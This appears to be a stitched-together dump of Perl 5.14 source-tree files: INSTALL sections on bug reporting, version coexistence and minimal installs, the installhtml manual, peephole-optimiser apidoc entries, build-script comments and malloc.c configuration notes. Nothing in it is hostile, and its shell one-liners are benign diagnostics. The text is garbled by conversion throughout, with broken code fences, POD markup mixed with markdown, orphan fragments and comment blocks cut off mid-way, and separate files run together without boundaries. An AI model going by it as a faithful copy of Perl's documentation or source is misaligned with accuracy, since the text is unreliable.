your old config.sh and Policy.sh files.

If you are upgrading from a previous version of perl, or if you change systems or compilers or make other significant changes, or if you are experiencing difficulties building perl, you should not re-use your old config.sh.

If your reason to reuse your old config.sh is to save your particular installation choices, then you can probably achieve the same effect by using the Policy.sh file. See the section on [L<"Site-wide Policy settings">](#) above.

## `=head1` Reporting Problems

Wherever possible please use the perlbug tool supplied with this Perl to report problems, as it automatically includes summary configuration information about your perl, which may help us track down problems far more quickly. But first you should read the advice in this file, carefully re-read the error message and check the relevant manual pages on your system, as these may help you find an immediate solution. If you are not sure whether what you are seeing is a bug, you can send a message describing the problem to the comp.lang.perl.misc newsgroup to get advice.

The perlbug tool is installed along with perl, so after you have

completed `C<make install>` it should be possible to run it with plain `C<perlbug>`. If the install fails, or you want to report problems with `C<make test>` without installing perl, then you can use `C<make nok>` to run perlbug to report the problem, or run it by hand from this source directory with `C<./perl -llib utils/perlbug>`

If the build fails too early to run perlbug uninstalled, then please `B<run>` the `C<./myconfig>` shell script, and mail its output along with an accurate description of your problem to [perlbug@perl.org](mailto:perlbug@perl.org)

If Configure itself fails, and does not generate a `config.sh` file (needed to run `C<./myconfig>`), then please mail [perlbug@perl.org](mailto:perlbug@perl.org) the description of how Configure fails along with details of your system - for example the output from running `C<uname -a>`

Please try to make your message brief but clear. Brief, clear bug reports tend to get answered more quickly. Please don't worry if your written English is not great - what matters is how well you describe the important technical details of the problem you have encountered, not whether your grammar and spelling is flawless.

Trim out unnecessary information. Do not include large files (such as `config.sh` or a complete Configure or make log) unless absolutely necessary. Do not include a complete transcript of your build session. Just include the failing commands, the relevant error

messages, and whatever preceding commands are necessary to give the appropriate context. Plain text should usually be sufficient--fancy attachments or encodings may actually reduce the number of people who read your message. Your message will get relayed to over 400 subscribers around the world so please try to keep it brief but clear.

If the bug you are reporting has security implications, which make it inappropriate to send to a publicly archived mailing list, then please send it to [perl5-security-report@perl.org](mailto:perl5-security-report@perl.org). This points to a closed subscription unarchived mailing list, which includes all the core committers, who be able to help assess the impact of issues, figure out a resolution, and help co-ordinate the release of patches to mitigate or fix the problem across all platforms on which Perl is supported. Please only use this address for security issues in the Perl core, not for modules independently distributed on CPAN.

If you are unsure what makes a good bug report please read "How to report Bugs Effectively" by Simon Tatham:

<http://www.chiark.greenend.org.uk/~sgtatham/bugs.html>

=head1 Coexistence with earlier versions of perl 5

Perl 5.14 is not binary compatible with earlier versions of Perl.

In other words, you will have to recompile your XS modules.

In general, you can usually safely upgrade from one version of Perl (e.g.

5.X.Y) to another similar minor version (e.g. 5.X.(Y+1))) without re-compiling all of your extensions. You can also safely leave the old version around in case the new version causes you problems for some reason.

Usually, most extensions will probably not need to be recompiled to be used with a newer version of Perl. Here is how it is supposed to work.

(These examples assume you accept all the Configure defaults.)

Suppose you already have version 5.8.7 installed. The directories searched by 5.8.7 are typically like:

```
/usr/local/lib/perl5/5.8.7/$archname  
/usr/local/lib/perl5/5.8.7  
/usr/local/lib/perl5/site_perl/5.8.7/$archname  
/usr/local/lib/perl5/site_perl/5.8.7
```

Now, suppose you install version 5.8.8. The directories searched by version 5.8.8 will be:

```
/usr/local/lib/perl5/5.8.8/$archname  
/usr/local/lib/perl5/5.8.8  
/usr/local/lib/perl5/site_perl/5.8.8/$archname  
/usr/local/lib/perl5/site_perl/5.8.8  
  
/usr/local/lib/perl5/site_perl/5.8.7/$archname
```

```
/usr/local/lib/perl5/site_perl/5.8.7
```

```
/usr/local/lib/perl5/site_perl/
```

Notice the last three entries -- Perl understands the default structure of the `$sitelib` directories and will look back in older, compatible directories. This way, modules installed under 5.8.7 will continue to be usable by 5.8.7 but will also be accessible to 5.8.8. Further, suppose that you upgrade a module to one which requires features present only in 5.8.8. That new module will get installed into `/usr/local/lib/perl5/site_perl/5.8.8` and will be available to 5.8.8, but will not interfere with the 5.8.7 version.

The last entry, `/usr/local/lib/perl5/site_perl/`, is there so that 5.6.0 and above will look for 5.004-era pure perl modules.

Lastly, suppose you now install 5.10.0, which is not binary compatible with 5.8.x. The directories searched by 5.10.0 (if you don't change the Configure defaults) will be:

```
/usr/local/lib/perl5/5.10.0/$archname
```

```
/usr/local/lib/perl5/5.10.0
```

```
/usr/local/lib/perl5/site_perl/5.10.0/$archname
```

```
/usr/local/lib/perl5/site_perl/5.10.0
```

```
/usr/local/lib/perl5/site_perl/5.8.8
```

```
/usr/local/lib/perl5/site_perl/5.8.7
```

```
/usr/local/lib/perl5/site_perl/
```

Note that the earlier `$archname` entries are now gone, but pure perl modules from earlier versions will still be found.

This way, you can choose to share compatible extensions, but also upgrade to a newer version of an extension that may be incompatible with earlier versions, without breaking the earlier versions' installations.

=head2 Maintaining completely separate versions

Many users prefer to keep all versions of perl in completely separate directories. This guarantees that an update to one version won't interfere with another version. (The defaults guarantee this for libraries after 5.6.0, but not for executables. TODO?) One convenient way to do this is by using a separate prefix for each version, such as

```
sh Configure -Dprefix=/opt/perl5.14.3
```

and adding `/opt/perl5.14.3/bin` to the shell `PATH` variable. Such users may also wish to add a symbolic link `/usr/local/bin/perl` so that scripts can still start with `#!/usr/local/bin/perl`.

Others might share a common directory for maintenance sub-versions (e.g. 5.10 for all 5.10.x versions), but change directory with each major version.

If you are installing a development subversion, you probably ought to seriously consider using a separate directory, since development subversions may not have all the compatibility wrinkles ironed out yet.

=head2 Upgrading from 5.13.11 or earlier

B<Perl 5.14.3 is binary incompatible with Perl 5.13.11 and any earlier Perl release.> Perl modules having binary parts (meaning that a C compiler is used) will have to be recompiled to be used with 5.14.3. If you find you do need to rebuild an extension with 5.14.3, you may safely do so without disturbing the older installations. (See L<"Coexistence with earlier versions of perl 5"> above.)

See your installed copy of the perllocal.pod file for a (possibly incomplete) list of locally installed modules. Note that you want perllocal.pod, not perllocale.pod, for installed module information.

=head1 Minimizing the Perl installation

The following section is meant for people worrying about squeezing the Perl installation into minimal systems (for example when installing operating systems, or in really small filesystems).

Leaving out as many extensions as possible is an obvious way:

Encode, with its big conversion tables, consumes a lot of space. On the other hand, you cannot throw away everything. The Fcntl module is pretty essential. If you need to do network programming, you'll appreciate the Socket module, and so forth: it all depends on what do you need to do.

In the following we offer two different slimmed down installation recipes. They are informative, not normative: the choice of files depends on what you need.

Firstly, the bare minimum to run this script

```
use strict;

use warnings;

foreach my $f (</*>) {

    print("$f\n");

}
```

in Linux is as follows (under \$Config{prefix}):

./bin/perl  
./lib/perl5/5.9.3/strict.pm  
./lib/perl5/5.9.3/warnings.pm  
./lib/perl5/5.9.3/i686-linux/File/Glob.pm  
./lib/perl5/5.9.3/i686-linux/XSLoader.pm  
./lib/perl5/5.9.3/i686-linux/auto/File/Glob/Glob.so

Secondly, Debian perl-base package contains the following files,  
size about 1.9MB in its i386 version:

/usr/bin/perl  
/usr/bin/perl5.8.4  
/usr/lib/perl/5.8  
/usr/lib/perl/5.8.4/B.pm  
/usr/lib/perl/5.8.4/B/Deparse.pm  
/usr/lib/perl/5.8.4/Config.pm  
/usr/lib/perl/5.8.4/Cwd.pm  
/usr/lib/perl/5.8.4/Data/Dumper.pm  
/usr/lib/perl/5.8.4/DynaLoader.pm  
/usr/lib/perl/5.8.4/Errno.pm  
/usr/lib/perl/5.8.4/Fcntl.pm  
/usr/lib/perl/5.8.4/File/Glob.pm  
/usr/lib/perl/5.8.4/IO.pm  
/usr/lib/perl/5.8.4/IO/File.pm

/usr/lib/perl/5.8.4/IO/Handle.pm  
/usr/lib/perl/5.8.4/IO/Pipe.pm  
/usr/lib/perl/5.8.4/IO/Seekable.pm  
/usr/lib/perl/5.8.4/IO/Select.pm  
/usr/lib/perl/5.8.4/IO/Socket.pm  
/usr/lib/perl/5.8.4/POSIX.pm  
/usr/lib/perl/5.8.4/Socket.pm  
/usr/lib/perl/5.8.4/XSLoader.pm  
/usr/lib/perl/5.8.4/auto/Cwd/Cwd.bs  
/usr/lib/perl/5.8.4/auto/Cwd/Cwd.so  
/usr/lib/perl/5.8.4/auto/Data/Dumper/Dumper.bs  
/usr/lib/perl/5.8.4/auto/Data/Dumper/Dumper.so  
/usr/lib/perl/5.8.4/auto/DynaLoader/DynaLoader.a  
/usr/lib/perl/5.8.4/auto/DynaLoader/autosplit.ix  
/usr/lib/perl/5.8.4/auto/DynaLoader/dl\_expandspec.al  
/usr/lib/perl/5.8.4/auto/DynaLoader/dl\_find\_symbol\_anywhere.al  
/usr/lib/perl/5.8.4/auto/DynaLoader/dl\_findfile.al  
/usr/lib/perl/5.8.4/auto/DynaLoader/extralibs.ld  
/usr/lib/perl/5.8.4/auto/Fcntl/Fcntl.bs  
/usr/lib/perl/5.8.4/auto/Fcntl/Fcntl.so  
/usr/lib/perl/5.8.4/auto/File/Glob/Glob.bs  
/usr/lib/perl/5.8.4/auto/File/Glob/Glob.so  
/usr/lib/perl/5.8.4/auto/IO/IO.bs  
/usr/lib/perl/5.8.4/auto/IO/IO.so  
/usr/lib/perl/5.8.4/auto/POSIX/POSIX.bs

/usr/lib/perl/5.8.4/auto/POSIX/POSIX.so  
/usr/lib/perl/5.8.4/auto/POSIX/autosplit.ix  
/usr/lib/perl/5.8.4/auto/POSIX/load\_imports.al  
/usr/lib/perl/5.8.4/auto/Socket/Socket.bs  
/usr/lib/perl/5.8.4/auto/Socket/Socket.so  
/usr/lib/perl/5.8.4/lib.pm  
/usr/lib/perl/5.8.4/re.pm  
/usr/share/doc/perl-base  
/usr/share/doc/perl/AUTHORS.gz  
/usr/share/doc/perl/Documentation  
/usr/share/doc/perl/README.Debian.gz  
/usr/share/doc/perl/changelog.Debian.gz  
/usr/share/doc/perl/copyright  
/usr/share/man/man1/perl.1.gz  
/usr/share/perl/5.8  
/usr/share/perl/5.8.4/AutoLoader.pm  
/usr/share/perl/5.8.4/Carp.pm  
/usr/share/perl/5.8.4/Carp/Heavy.pm  
/usr/share/perl/5.8.4/Exporter.pm  
/usr/share/perl/5.8.4/Exporter/Heavy.pm  
/usr/share/perl/5.8.4/File/Spec.pm  
/usr/share/perl/5.8.4/File/Spec/Unix.pm  
/usr/share/perl/5.8.4/FileHandle.pm  
/usr/share/perl/5.8.4/Getopt/Long.pm  
/usr/share/perl/5.8.4/IO/Socket/INET.pm

/usr/share/perl/5.8.4/IO/Socket/UNIX.pm  
/usr/share/perl/5.8.4/IPC/Open2.pm  
/usr/share/perl/5.8.4/IPC/Open3.pm  
/usr/share/perl/5.8.4/List/Util.pm  
/usr/share/perl/5.8.4/Scalar/Util.pm  
/usr/share/perl/5.8.4/SelectSaver.pm  
/usr/share/perl/5.8.4/Symbol.pm  
/usr/share/perl/5.8.4/Text/ParseWords.pm  
/usr/share/perl/5.8.4/Text/Tabs.pm  
/usr/share/perl/5.8.4/Text/Wrap.pm  
/usr/share/perl/5.8.4/attributes.pm  
/usr/share/perl/5.8.4/base.pm  
/usr/share/perl/5.8.4/bytes.pm  
/usr/share/perl/5.8.4/bytes\_heavy.pl  
/usr/share/perl/5.8.4/constant.pm  
/usr/share/perl/5.8.4/fields.pm  
/usr/share/perl/5.8.4/integer.pm  
/usr/share/perl/5.8.4/locale.pm  
/usr/share/perl/5.8.4/overload.pm  
/usr/share/perl/5.8.4/strict.pm  
/usr/share/perl/5.8.4/utf8.pm  
/usr/share/perl/5.8.4/utf8\_heavy.pl  
/usr/share/perl/5.8.4/vars.pm  
/usr/share/perl/5.8.4/warnings.pm  
/usr/share/perl/5.8.4/warnings/register.pm

A nice trick to find out the minimal set of Perl library files you will need to run a Perl program is

```
perl -e 'do "prog.pl"; END { print "$_\n" for sort keys %INC }'
```

(this will not find libraries required in runtime, unfortunately, but it's a minimal set) and if you want to find out all the files you can use something like the below

```
strace perl -le 'do "x.pl"' 2>&1 | perl -nle '/^open\(\\\"(.+?)\"/ && print $1'
```

(The 'strace' is Linux-specific, other similar utilities include 'truss' and 'ktrace'.)

```
=head2 C<-DNO_MATHOMS>
```

If you configure perl with C<-Accflags=-DNO\_MATHOMS>, the functions from F<mathoms.c> will not be compiled in. Those functions are no longer used by perl itself; for source compatibility reasons, though, they weren't completely removed.

```
=head1 DOCUMENTATION
```

Read the manual entries before running perl. The main documentation

is in the pod/ subdirectory and should have been installed during the build process. Type `B<man perl>` to get started. Alternatively, you can type `B<perldoc perl>` to use the supplied perldoc script. This is sometimes useful for finding things in the library modules.

## =head1 AUTHOR

Original author: Andy Dougherty [doughera@lafayette.edu](mailto:doughera@lafayette.edu) , borrowing very heavily from the original README by Larry Wall, with lots of helpful feedback and additions from the [perl5-porters@perl.org](mailto:perl5-porters@perl.org) folks.

If you have problems, corrections, or questions, please see [L<"Reporting Problems">](#) above.

## =head1 REDISTRIBUTION

This document is part of the Perl package and may be distributed under the same terms as perl itself, with the following additional request:

If you are distributing a modified version of perl (perhaps as part of a larger package) please `B<do>` modify these installation instructions and the contact information to match your distribution.

`install_lib.pl`

`#!perl`

`# Initialisation code and subroutines shared between installperl and installman`

# Probably installhtml needs to join the club.

use strict;

use vars qw(\$Is\_VMS \$Is\_W32 \$Is\_OS2 \$Is\_Cygwin \$Is\_Darwin \$Is\_NetWare

    %opts \$packlist);

use subs qw(unlink link chmod);

use Config;

=head1 NAME
```

```
installhtml - converts a collection of POD pages to HTML format.
```

```
=head1 SYNOPSIS
```

```
installhtml [--help] [--podpath=<name>:...:<name>] [--podroot=<name>]
```

```
    [--htmlidir=<name>] [--htmlroot=<name>] [--norecurse] [--recurse]
```

```
    [--splithead=<name>,...,<name>] [--splititem=<name>,...,<name>]
```

```
    [--libpods=<name>,...,<name>]    [--ignore=<name>,...,<name>]
```

```
    [--verbose]
```

=head1 DESCRIPTION

`I<installhtml>` converts a collection of POD pages to a corresponding collection of HTML pages. This is primarily used to convert the pod pages found in the perl distribution.

=head1 OPTIONS

=over 4

=item B<--help> help

Displays the usage.

=item B<--podroot> POD search path base directory

The base directory to search for all .pod and .pm files to be converted.

Default is current directory.

=item B<--podpath> POD search path

The list of directories to search for .pod and .pm files to be converted.

Default is 'podroot/.'.

=item B<--recurse> recurse on subdirectories

Whether or not to convert all .pm and .pod files found in subdirectories too. Default is to not recurse.

=item B<--htmlidir> HTML destination directory

The base directory which all HTML files will be written to. This should be a path relative to the filesystem, not the resulting URL.

=item B<--htmlroot> URL base directory

The base directory which all resulting HTML files will be visible at in a URL. The default is '/'.

=item B<--splithead> POD files to split on =head directive

Comma-separated list of pod files to split by the =head directive. The .pod suffix is optional. These files should have names specified relative to podroot.

=item B<--splititem> POD files to split on =item directive

Comma-separated list of all pod files to split by the =item directive. The .pod suffix is optional. I<installhtml> does not do the actual

split, rather it invokes `l<splitpod>` to do the dirty work. As with `--splithead`, these files should have names specified relative to `podroot`.

=item B<--splitpod> Directory containing the splitpod program

The directory containing the splitpod program. The default is 'podroot/pod'.

=item B<--libpods> library PODs for LE<lt>E<gt> links

Comma-separated list of "library" pod files. This is the same list that will be passed to `pod2html` when any pod is converted.

=item B<--ignore> files to be ignored

Comma-separated of files that shouldn't be installed, given relative to `podroot`.

=item B<--verbose> verbose output

Self-explanatory.

=back

=head1 EXAMPLE

The following command-line is an example of the one we use to convert perl documentation:

```
./installhtml --podpath=lib:ext:pod:vms \
               --podroot=/usr/src/perl \
               --htmlmdir=/perl/nmanual \
               --htmlroot=/perl/nmanual \
               --splithead=pod/perlipc \
               --splititem=pod/perlfunc \
               --libpods=perlfunc,perlguts,perlvar,perlrun,perlop \
               --recurse \
               --verbose
```

Usage: \$0 --help --podpath=<name>:....<name> --podroot=<name>

--htmlmdir=<name> --htmlroot=<name> --norecurse --recurse

--splithead=<name>,...,<name> --splititem=<name>,...,<name>

--libpods=<name>,...,<name> --ignore=<name>,...,<name> --verbose

--help - this message

--podpath - colon-separated list of directories containing .pod and .pm files to be converted (. by default).

--podroot - filesystem base directory from which all relative paths in podpath stem (default is .).

--htmldir - directory to store resulting html files in relative to the filesystem (\\$podroot/html by default).

--htmlroot - http-server base directory from which all relative paths in podpath stem (default is /).

--libpods - comma-separated list of files to search for =item pod directives in as targets of C<> and implicit links (empty by default).

--norecurse - don't recurse on those subdirectories listed in podpath. (default behavior).

--recurse - recurse on those subdirectories listed in podpath

--splithead - comma-separated list of .pod or .pm files to split. will split each file into several smaller files at every occurrence of a pod =head[1-6] directive.

--splititem - comma-separated list of .pod or .pm files to split using splitpod.

--splitpod - directory where the program splitpod can be found (\\$podroot/pod by default).

--ignore - comma-separated list of files that shouldn't be installed.

--verbose - self-explanatory.

=for apidoc Amn|peep\_t|PL\_peekp

Pointer to the per-subroutine peephole optimiser. This is a function that gets called at the end of compilation of a Perl subroutine (or equivalently independent piece of Perl code) to perform fixups of some ops and to perform small-scale optimisations. The function is called once for each subroutine that is compiled, and is passed, as sole parameter, a pointer to the op that is the entry point to the subroutine. It modifies the op tree in place.

The peephole optimiser should never be completely replaced. Rather, add code to it by wrapping the existing optimiser. The basic way to do this can be seen in `<perl guts/Compile pass 3: peephole optimization>`. If the new code wishes to operate on ops throughout the subroutine's structure, rather than just at the top level, it is likely to be more convenient to wrap the `</PL_rpeepp>` hook.

```
=for apidoc Amn | peep_t | PL_rpeepp
```

Pointer to the recursive peephole optimiser. This is a function that gets called at the end of compilation of a Perl subroutine (or

equivalently independent piece of Perl code) to perform fixups of some ops and to perform small-scale optimisations. The function is called once for each chain of ops linked through their C<op\_next> fields; it is recursively called to handle each side chain. It is passed, as sole parameter, a pointer to the op that is at the head of the chain. It modifies the op tree in place.

The peephole optimiser should never be completely replaced. Rather, add code to it by wrapping the existing optimiser. The basic way to do this can be seen in L<perl guts/Compile pass 3: peephole optimization>. If the new code wishes to operate only on ops at a subroutine's top level, rather than throughout the structure, it is likely to be more convenient to wrap the L</PL\_peekp> hook.

/*
```

```
=for apidoc Amn|Perl_ophook_t|PL_opfreehook
```

When non-C<NULL>, the function pointed by this variable will be called each time an OP is freed with the corresponding OP as the argument.

This allows extensions to free any extra attribute they have locally attached to an OP.

It is also assured to first fire for the parent OP and then for its kids.

When you replace this variable, it is considered a good practice to store the possibly previously installed hook and that you recall it inside your own.

```
* PerlXXX_YYY explained - DickH and DougL @ ActiveState.com
```

```
*
```

```
* XXX := functional group
```

```
* YYY := stdlib/OS function name
```

```
*
```

```
* Continuing with the theme of PerlIO, all OS functionality was
```

```
* encapsulated into one of several interfaces.
```

\*

\* PerlIO - stdio

\* PerlLIO - low level I/O

\* PerlMem - malloc, realloc, free

\* PerlDir - directory related

\* PerlEnv - process environment handling

\* PerlProc - process control

\* PerlSock - socket functions

\*

\*

\* The features of this are:

\* 1. All OS dependant code is in the Perl Host and not the Perl Core.

\* (At least this is the holy grail goal of this work)

\* 2. The Perl Host (see perl.h for description) can provide a new and

\* improved interface to OS functionality if required.

\* 3. Developers can easily hook into the OS calls for instrumentation

\* or diagnostic purposes.

\*

\* What was changed to do this:

\* 1. All calls to OS functions were replaced with PerlXXX\_YYY

\*

\*/

# This script acts as a simple interface for building extensions.

# It's actually a cut and shut of the Unix version ext/utls/makeext and the
# Windows version win32/build_ext.pl hence the two invocation styles.

# On Unix, it primarily used by the perl Makefile one extension at a time:
#
# d_dummy $(dynamic_ext): miniperl prelibrary FORCE
#
#     @$(RUN) ./miniperl make_ext.pl --target=dynamic $@ MAKE=$(MAKE) LIBPERL_A=$(LIBPERL)
#
# On Windows or VMS,
#
# If '--static' is specified, static extensions will be built.
#
# If '--dynamic' is specified, dynamic extensions will be built.
#
# If '--nonxs' is specified, nonxs extensions will be built.
#
# If '--dynaloader' is specified, DynaLoader will be built.
#
# If '--all' is specified, all extensions will be built.
#
# make_ext.pl "MAKE=make [-make_opts]" --dir=directory [--target=target] [--static|--dynamic|--all]
+ext2 !ext1
#
# E.g.
#

```

```

# make_ext.pl "MAKE=nmake -nologo" --dir=..\ext
#
# make_ext.pl "MAKE=nmake -nologo" --dir=..\ext --target=clean
#
# make_ext.pl MAKE=dmake --dir=..\ext
#
# make_ext.pl MAKE=dmake --dir=..\ext --target=clean
#
# Will skip building extensions which are marked with an '!' char.
# Mostly because they still not ported to specified platform.
#
# If any extensions are listed with a '+' char then only those
# extensions will be built, but only if they arent countermanded
# by an '!ext' and are appropriate to the type of building being done.

# It may be deleted in a later release of perl so try to
# avoid using it for other purposes.

=head1 NAME

make\_patchnum.pl - make patchnum

=head1 SYNOPSIS

miniperl make\_patchnum.pl

perl make\_patchnum.pl

=head1 DESCRIPTION

This program creates the files holding the information about locally applied patches to the source code. The created files are C<git\_version.h> and C<lib/Config\_git.pl>.

=head2 C<lib/Config\_git.pl>

Contains status information from git in a form meant to be processed by the tied hash logic of Config.pm. It is actually optional, although -V:git.\* will be uninformative without it.

C<git\_version.h> contains similar information in a C header file format, designed to be used by patchlevel.h. This file is obtained from stock\_git\_version.h if miniperl is not available, and then

later on replaced by the version created by this script.

=head1 AUTHOR

Yves Orton, Kenichi Ishigaki, Max Maischein

=head1 COPYRIGHT

Same terms as Perl itself.

=cut

# from a -Dmksymlink target dir, I need to cd to the git-src tree to  
# use git (like script does). Presuming that's not unique, one fix is  
# to follow Configure's symlink-path to run git. Maybe GIT\_DIR or  
# path-args can solve it, if so we should advise here, I tried only  
# very briefly ('cd -' works too).

malloc.c

```

```

/*  malloc.c

*

*/

/*

* 'The Chamber of Records,' said Gimli. 'I guess that is where we now stand.'

*

* [p.321 of _The Lord of the Rings_, II/v: "The Bridge of Khazad-Dûm"]

*/

```

```

/* This file contains Perl's own implementation of the malloc library.

* It is used if Configure decides that, on your platform, Perl's

* version is better than the OS's, or if you give Configure the

* -Dusemymalloc command-line option.

*/

```

```

/*

Here are some notes on configuring Perl's malloc. (For non-perl

usage see below.)

```

There are two macros which serve as bulk disablers of advanced features of this malloc: NO\_FANCY\_MALLOC, PLAIN\_MALLOC (undef by default). Look in the list of default values below to understand their exact effect. Defining NO\_FANCY\_MALLOC returns malloc.c to the state of the malloc in Perl 5.004. Additionally defining PLAIN\_MALLOC

returns it to the state as of Perl 5.000.

Note that some of the settings below may be ignored in the code based on values of other macros. The PERL\_CORE symbol is only defined when perl itself is being compiled (so malloc can make some assumptions about perl's facilities being available to it).

Each config option has a short description, followed by its name, default value, and a comment about the default (if applicable). Some options take a precise value, while the others are just boolean. The boolean ones are listed first.

```
# Read configuration settings from malloc_cfg.h
```

```
HAVE_MALLOC_CFG_H          undef
```

```
# Enable code for an emergency memory pool in $^M. See perlvar.pod
```

```
# for a description of $^M.
```

```
PERL_EMERGENCY_SBRK        (!PLAIN_MALLOC && (PERL_CORE ||  
!NO_MALLOC_DYNAMIC_CFG))
```

```
# Enable code for printing memory statistics.
```

```
DEBUGGING_MSTATS          (!PLAIN_MALLOC && PERL_CORE)
```

```
# Move allocation info for small buckets into separate areas.
```

```
# Memory optimization (especially for small allocations, of the
```

```
# less than 64 bytes). Since perl usually makes a large number
```

# of small allocations, this is usually a win.

PACK\_MALLOC (PLAIN\_MALLOC && !RCHECK)

# Add one page to big powers of two when calculating bucket size.

# This is targeted at big allocations, as are common in image

# processing.

TWO\_POT\_OPTIMIZE !PLAIN\_MALLOC

# Use intermediate bucket sizes between powers-of-two. This is

# generally a memory optimization, and a (small) speed pessimization.

BUCKETS\_ROOT2 !NO\_FANCY\_MALLOC

# Do not check small deallocations for bad free(). Memory

# and speed optimization, error reporting pessimization.

IGNORE\_SMALL\_BAD\_FREE (!NO\_FANCY\_MALLOC && !RCHECK)

# Use table lookup to decide in which bucket a given allocation will go.

SMALL\_BUCKET\_VIA\_TABLE !NO\_FANCY\_MALLOC

# Use a perl-defined sbrk() instead of the (presumably broken or

# missing) system-supplied sbrk().

USE\_PERL\_SBRK undef

# Use system malloc() (or calloc() etc.) to emulate sbrk(). Normally

# only used with broken sbrk()s.

PERL\_SBRK\_VIA\_MALLOC      undef

# Which allocator to use if PERL\_SBRK\_VIA\_MALLOC

SYSTEM\_ALLOC(a)              malloc(a)

# Minimal alignment (in bytes, should be a power of 2) of SYSTEM\_ALLOC

SYSTEM\_ALLOC\_ALIGNMENT MEM\_ALIGNBYTES

# Disable memory overwrite checking with DEBUGGING. Memory and speed

# optimization, error reporting pessimization.

NO\_RCHECK                      undef

# Enable memory overwrite checking with DEBUGGING. Memory and speed

# pessimization, error reporting optimization

RCHECK                          (DEBUGGING && !NO\_RCHECK)

# Do not overwrite uninit areas with DEBUGGING. Speed

# optimization, error reporting pessimization

NO\_MFILL                        undef

# Overwrite uninit areas with DEBUGGING. Speed

# pessimization, error reporting optimization

# Do not check overwritten uninit areas with DEBUGGING. Speed

# optimization, error reporting pessimization

NO\_FILL\_CHECK                undef

# Check overwritten uninit areas with DEBUGGING. Speed

# pessimization, error reporting optimization

MALLOC\_FILL\_CHECK            (DEBUGGING && !NO\_RCHECK && !NO\_FILL\_CHECK)

# Failed allocations bigger than this size croak (if

# PERL\_EMERGENCY\_SBRK is enabled) without touching \$^M. See

# perlvar.pod for a description of \$^M.

BIG\_SIZE                      (1<<16)            # 64K

# Starting from this power of two, add an extra page to the

# size of the bucket. This enables optimized allocations of sizes

# close to powers of 2. Note that the value is indexed at 0.

FIRST\_BIG\_POW2                15                # 32K, 16K is used too often

# Estimate of minimal memory footprint. malloc uses this value to

# request the most reasonable largest blocks of memory from the system.

FIRST\_SBRK                    (48\*1024)

# Round up sbrk()s to multiples of this.

MIN\_SBRK                      2048

# Round up sbrk()s to multiples of this percent of footprint.

MIN\_SBRK\_FRAC                    3

# Round up sbrk()s to multiples of this multiple of 1/1000 of footprint.

MIN\_SBRK\_FRAC1000                (10 \* MIN\_SBRK\_FRAC)

# Add this much memory to big powers of two to get the bucket size.

PERL\_PAGESIZE                    4096

# This many sbrk() discontinuities should be tolerated even

# from the start without deciding that sbrk() is usually

# discontinuous.

SBRK\_ALLOW\_FAILURES              3

# This many continuous sbrk()s compensate for one discontinuous one.

SBRK\_FAILURE\_PRICE               50

# Some configurations may ask for 12-byte-or-so allocations which

# require 8-byte alignment (?!). In such situation one needs to

# define this to disable 12-byte bucket (will increase memory footprint)

STRICT\_ALIGNMENT                undef

# Do not allow configuration of runtime options at runtime

NO\_MALLOC\_DYNAMIC\_CFG undef

# Do not allow configuration of runtime options via \$ENV{PERL\_MALLOC\_OPT}

undef

This implementation assumes that calling `PerlIO_printf()` does not result in any memory allocation calls (used during a panic).

/*

* malloc.c (Caltech) 2/21/82

* Chris Kingsley, kingsley@cit-20.

*

* This is a very fast storage allocator. It allocates blocks of a small

* number of different sizes, and keeps free lists of each size. Blocks that

* don't exactly fit are passed up to the next larger size. In this

* implementation, the available sizes are 2^n-4 (or 2^n-12) bytes long.

* If PACK_MALLOC is defined, small blocks are 2^n bytes long.

* This is designed for use in a program that uses vast quantities of memory,

* but bombs when it runs out.

*

* Modifications Copyright Ilya Zakharevich 1996-99.

```

```

*

* Still very quick, but much more thrifty. (Std config is 10% slower
* than it was, and takes 67% of old heap size for typical usage.)

*

* Allocations of small blocks are now table-driven to many different
* buckets. Sizes of really big buckets are increased to accommodate
* common size=power-of-2 blocks. Running-out-of-memory is made into
* an exception. Deeply configurable and thread-safe.

*

/*
```

```
 * Layout of memory:
```

```
 * ~~~~~
```

```
 * The memory is broken into "blocks" which occupy multiples of 2K (and
```

```
 * generally speaking, have size "close" to a power of 2). The addresses
```

```
 * of such *unused* blocks are kept in nextf[i] with big enough i. (nextf
```

```
 * is an array of linked lists.) (Addresses of used blocks are not known.)
```

```
 *
```

```
 * Moreover, since the algorithm may try to "bite" smaller blocks out
```

```
 * of unused bigger ones, there are also regions of "irregular" size,
```

```
 * managed separately, by a linked list chunk_chain.
```

```
 *
```

```
 * The third type of storage is the sbrk()ed-but-not-yet-used space, its
```

```
 * end and size are kept in last_sbrk_top and sbrked_remains.
```

```
 *
```

```
 * Growing blocks "in place":
```

```
 * ~~~~~
```

```
 * The address of the block with the greatest address is kept in last_op
```

```
 * (if not known, last_op is 0). If it is known that the memory above
```

```
 * last_op is not continuous, or contains a chunk from chunk_chain,
```

```
 * last_op is set to 0.
```

\*

\* The chunk with address last\_op may be grown by expanding into  
\* sbrk()ed-but-not-yet-used space, or trying to sbrk() more continuous  
\* memory.

\*

\* Management of last\_op:

\* ~~~~~

\*

\* free() never changes the boundaries of blocks, so is not relevant.

\*

\* The only way realloc() may change the boundaries of blocks is if it

\* grows a block "in place". However, in the case of success such a

\* chunk is automatically last\_op, and it remains last\_op. In the case

\* of failure getpages\_adjacent() clears last\_op.

\*

\* malloc() may change blocks by calling morecore() only.

\*

\* morecore() may create new blocks by:

\* a) biting pieces from chunk\_chain (cannot create one above last\_op);

\* b) biting a piece from an unused block (if block was last\_op, this

\* may create a chunk from chain above last\_op, thus last\_op is

\* invalidated in such a case).

\* c) biting of sbrk()ed-but-not-yet-used space. This creates

\* a block which is last\_op.

\* d) Allocating new pages by calling getpages();

\*

\* getpages() creates a new block. It marks last\_op at the bottom of

\* the chunk of memory it returns.

\*

\* Active pages footprint:

\* ~~~~~~

\* Note that we do not need to traverse the lists in nextf[i], just take

\* the first element of this list. However, we \*need\* to traverse the

\* list in chunk\_chain, but most the time it should be a very short one,

\* so we do not step on a lot of pages we are not going to use.

\*

\* Flaws:

\* ~~~~~

\* get\_from\_bigger\_buckets(): forget to increment price => Quite

\* aggressive.

/* In this case there are several possible layout of arenas depending
```

```
* on the size. Arenas are of sizes multiple to 2K, 2K-aligned, and
```

```
* have a size close to a power of 2.
```

```
*
```

```
* Arenas of the size >= 4K keep one chunk only. Arenas of size 2K
```

```
* may keep one chunk or multiple chunks. Here are the possible
```

```
* layouts of arenas:
```

```
*
```

```
*      # One chunk only, chunksize  $2^k + \text{SOMETHING} - \text{ALIGN}$ ,  $k \geq 11$ 
```

```
*
```

```
* INDEX MAGIC1 UNUSED CHUNK1
```

```
*
```

```
*      # Multichunk with sanity checking and chunksize  $2^k - \text{ALIGN}$ ,  $k > 7$ 
```

```
*
